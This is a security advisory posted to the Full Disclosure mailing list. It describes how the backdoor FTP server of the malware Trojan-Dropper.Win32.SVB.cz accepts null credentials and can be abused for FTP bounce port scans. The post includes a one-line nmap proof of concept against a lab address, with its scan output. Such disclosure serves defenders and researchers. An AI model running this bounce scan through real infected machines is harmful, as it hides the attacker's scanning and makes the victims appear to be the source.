full-disclosure - [FD] Trojan-Dropper.Win32.SVB.cz / Port Bounce Scan (MITM)

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Message-ID: <CAAHK0WTDVbuTgODUdbs7+EZKiY+z4+JVHa9Op_JfE7D1yXxvcg@mail.gmail.com>
Date: Sat, 3 Jul 2021 17:28:44 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan-Dropper.Win32.SVB.cz / Port Bounce Scan (MITM)

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/d57536189430fd75e45f53845e9b3f94_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.SVB.cz
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on TCP port 8181 (default) and has an FTP
component that listens on port 1212 and accepts null creds. Third-party
attackers who successfully logon can abuse the backdoor FTP server as a
man-in-the-middle machine allowing PORT Command bounce scan attacks using
Nmap. This vulnerability allows remote attackers to abuse your system and
discreetly conduct network port scanning. Victims will then think these
scans are originating from the infected system running the afflicted
malware FTP Server and not you.
Type: PE32
MD5: d57536189430fd75e45f53845e9b3f94
Vuln ID: MVID-2021-0267
Dropped files: opeC248.exe
Disclosure: 07/03/2021

Exploit/PoC:
nmap -n -Pn -b "":""@192.168.18.129:1212 192.168.18.131 -p22,23,80 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-27 22:06 Pacific
Daylight Time
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://:@192.168.18.129:1212
Connected:220 ShangXing Ftp Server
Login credentials accepted by FTP server!
Initiating Bounce Scan at 22:06
Discovered open port 80/tcp on 192.168.18.131
Completed Bounce Scan at 22:06, 2.24s elapsed (3 total ports)
Nmap scan report for 192.168.18.131
Host is up.

PORT   STATE  SERVICE
22/tcp closed ssh
23/tcp closed telnet
80/tcp open   http

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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